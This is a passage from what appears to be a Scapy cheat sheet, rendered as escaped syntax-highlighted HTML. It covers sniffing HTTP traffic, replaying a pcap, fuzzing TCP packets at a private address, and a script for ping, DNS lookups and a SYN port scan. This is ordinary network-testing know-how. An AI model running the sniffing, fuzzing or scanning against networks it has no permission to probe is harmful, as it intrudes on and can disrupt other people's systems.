&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;sniff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;filter&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;tcp port 80&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; prn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;http_prn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; store&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
Replay Saved Packets
--------------------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;trace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; rdpcap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;sample.pcap&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;sendp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;trace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; iface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;conf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;iface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; inter&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
Fuzzing
-------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; fuzz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;192.168.0.1&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;22&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;443&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;fp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;50&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; inter&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;0.01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre&gt;
Ready-to-Use Script
-------------------
&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;#!&#x2F;usr&#x2F;bin&#x2F;env python3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; scapy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;all&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; ping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; sr1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ICMP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(),&lt;&#x2F;span&gt;&lt;span&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; verbose&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; bool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; dns_a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; resolver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;8.8.8.8&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; sr1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;resolver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;UDP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;53&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;DNS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;rd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; qd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;DNSQR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;qname&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)),&lt;&#x2F;span&gt;&lt;span&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; verbose&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;DNS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span&gt;an&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span&gt;rdata&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;DNS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;ancount&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span&gt; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span&gt; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;haslayer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;DNS&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; []&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; syn_scan&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; ports&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    results&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; ports&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; sr1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;IP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dst&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;dport&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;S&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;),&lt;&#x2F;span&gt;&lt;span&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;0.7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; verbose&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span&gt; ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;haslayer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            fl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ans&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;TCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;].&lt;&#x2F;span&gt;&lt;span&gt;flags&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            results&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;open&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span&gt; fl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;closed&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span&gt; fl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt;14&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;flags=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;fl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B6927B;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;        else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            results&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;filtered&#x2F;none&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; results&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;font-weight: bold;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; __name__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;Ping 1.1.1.1:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; ping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;1.1.1.1&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;DNS A example.com:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8BA4B0;&quot;&gt; dns_a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;quot;example.com&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9E9B93;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
